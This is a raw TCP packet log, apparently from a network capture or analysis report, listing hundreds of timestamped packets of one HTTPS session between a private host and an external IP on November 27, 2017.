Nov 27, 2017 12:34:30.676907063 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.677011967 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:30.677035093 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.680584908 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.680605888 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.680762053 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:30.680785894 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.690366983 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.690445900 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.690459013 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.690707922 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:30.690737963 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.691236019 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:30.696557999 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.696578979 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.696588039 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.696715117 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:30.697180986 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.697201967 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.697208881 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.697535038 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:30.697674036 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.697700977 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.697714090 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.698307037 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:30.705549002 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.709331036 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.709364891 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.709383011 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.709505081 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:30.709539890 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.712508917 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.712539911 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.712656021 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:30.712697029 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.758822918 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.758852005 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.759207964 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:30.759237051 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.768551111 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.768569946 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.768904924 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:30.768924952 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.782669067 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.782727003 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.783232927 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:30.783252954 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.793418884 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.793436050 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.793545008 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:30.793567896 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.836464882 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.836497068 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.836708069 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:30.836741924 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.838918924 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.838942051 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.839099884 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:30.839133024 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.846002102 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.846034050 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.846250057 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:30.846290112 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.855246067 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.855278969 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.855428934 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:30.855468035 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.895375013 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.895498037 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:30.895518064 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.903877974 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.903893948 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.904041052 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:30.904057026 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.923984051 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.924011946 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.924102068 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:30.924127102 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.930912971 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.930948973 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.931039095 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:30.931061029 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.948244095 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.948259115 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.948358059 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:30.948379040 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.972910881 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.972943068 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.973305941 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:30.973323107 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.998859882 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.998900890 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.999114037 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:30.999152899 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.132414103 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.132455111 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.132719994 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:31.132771015 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.140763998 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.140814066 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.141271114 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:31.141315937 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.161736965 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.161772966 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.161994934 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:31.162038088 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.187819004 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.187850952 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.188044071 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:31.188074112 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.209952116 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.210062981 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:31.210083008 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.219590902 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.219633102 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.219706059 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:31.219739914 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.226692915 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.226722002 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.226866007 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:31.226890087 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.245764017 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.245784044 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.245918036 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:31.245945930 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.252939939 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.252971888 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.253098965 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:31.253123999 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.274885893 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.274916887 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.274926901 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.275073051 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:31.275103092 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.276200056 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.276216030 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.276336908 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:31.276361942 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.289805889 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.289824963 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.291008949 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.291740894 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:31.291765928 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.303396940 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.303410053 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.303512096 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:31.303539038 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.315586090 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.315632105 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.315731049 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:31.315757036 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.322244883 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.322258949 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.322264910 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.322398901 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:31.322424889 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.325766087 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.325779915 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.325912952 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:31.325937033 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.332736969 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.332753897 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.332855940 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:31.332881927 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.338027954 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.338041067 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.338159084 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:31.338182926 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.342211008 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.342223883 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.342359066 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:31.342384100 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.354196072 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.354224920 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.354312897 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:31.354335070 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.355524063 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:31.356601954 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.356615067 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.356621027 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.356714010 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:31.362757921 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.363699913 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.363714933 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.363794088 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:31.363814116 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.370017052 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.370038033 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.370105028 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:31.370127916 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.370711088 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.370728970 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.370800972 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:31.370820045 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.377476931 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.377492905 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.377568007 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:31.377589941 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.384640932 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.384658098 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.384664059 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.384746075 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:31.384768963 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.389799118 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.389816046 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.389957905 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:31.389981031 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.393395901 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.393412113 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.393563986 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:31.393585920 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.399710894 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.399722099 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.400377035 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.400392056 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.400628090 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:31.400650978 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.403748035 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:31.405687094 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.405700922 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.405709982 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.405844927 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:31.407289028 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.407304049 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.407310009 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.407362938 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:31.410295010 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.412509918 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.412523031 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.412578106 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:31.412600040 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.419456005 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.419470072 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.419476032 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.419730902 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:31.419753075 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.421307087 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.421329975 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.421397924 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:31.421418905 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.421628952 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:31.426218987 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.426233053 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.426317930 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:31.426338911 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.428678036 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.428692102 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.428780079 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:31.428802013 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.429594040 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:31.430186033 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.430200100 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.430249929 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:31.430269957 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.434313059 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.434328079 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.434465885 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:31.434484005 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.437402964 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.437417030 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.437844992 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:31.437860012 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.443207026 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.443223000 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.443520069 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:31.443537951 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.444216013 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.444228888 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.444289923 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:31.444308996 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.450237036 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.450252056 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.450259924 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.450321913 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:31.450341940 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.451383114 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.451396942 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.451702118 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:31.451718092 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.454282999 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.454298019 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.454370975 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:31.454390049 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.456289053 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.456301928 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.456475019 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:31.456491947 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.458652020 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.458873034 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:31.458894014 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.460413933 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.460427999 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.460752010 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:31.460772038 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.462579966 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.462594032 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.462656021 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:31.462680101 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.463608980 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.463627100 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.463690042 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:31.463713884 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.465598106 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.465610981 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.465831995 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.465842962 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.466773987 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:31.466797113 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.468295097 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.468307972 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.468408108 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:31.468424082 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.469511032 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:31.469944954 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.469954967 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.470016003 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:31.470032930 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.471833944 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.471846104 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.471925974 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:31.471946001 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.473706007 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.473718882 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.473840952 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.473855972 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.473865032 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.473957062 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:31.473977089 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.476531029 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.476543903 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.476603985 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:31.476624012 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.478118896 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.478132963 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.478204012 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:31.478219032 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.478840113 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:31.481429100 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.481441021 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:31.481462002 CET	443	49165	89.45.235.21	192.168.1.91
